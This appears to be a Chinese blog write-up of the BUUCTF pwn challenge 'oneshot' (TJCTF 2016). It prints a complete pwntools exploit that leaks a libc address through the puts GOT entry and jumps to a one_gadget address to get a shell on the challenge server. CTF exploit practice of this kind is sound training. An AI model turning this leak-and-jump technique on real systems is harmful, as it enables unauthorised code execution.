[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

复制代码
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
妙码生花4 小时前
两个月 59 篇 AI 开发日志 + Golang 商业级实战项目收工后,得来的 AI 使用心法-下
前端·后端·go
OpenPomeloxCommunity4 小时前
Linux 驱动基础(二):驱动自动加载的设计与实现
linux
Highcharts4 小时前
常见报错排雷指南3:兼容性问题的官方解法
javascript·数据可视化
5335ld4 小时前
app版本更新(vue3+unibest+静默更新+强制更新)
开发语言·javascript·ecmascript
yyk333244 小时前
Linux常见的基础命令
linux·运维·服务器
Cho1yon5 小时前
【AI Agent 第十五期: AI Agent 从 0 到 1 系统学习大纲】
javascript·人工智能·学习
启博网络5 小时前
实战:无公网IP环境下的企业异地组网方案(附拓扑与IP规划)
linux·网络·tcp/ip
计算机魔术师5 小时前
Beren Millidge、John Schulman、Charlie O'Neill 对谈递归自我改进离我们还有多远
前端
MetaLite5 小时前
Java 时间处理的两个坑:单位误判,半秒算成一秒
java·开发语言·前端
hiahiahia1235 小时前
SSE 到底是什么?
前端·人工智能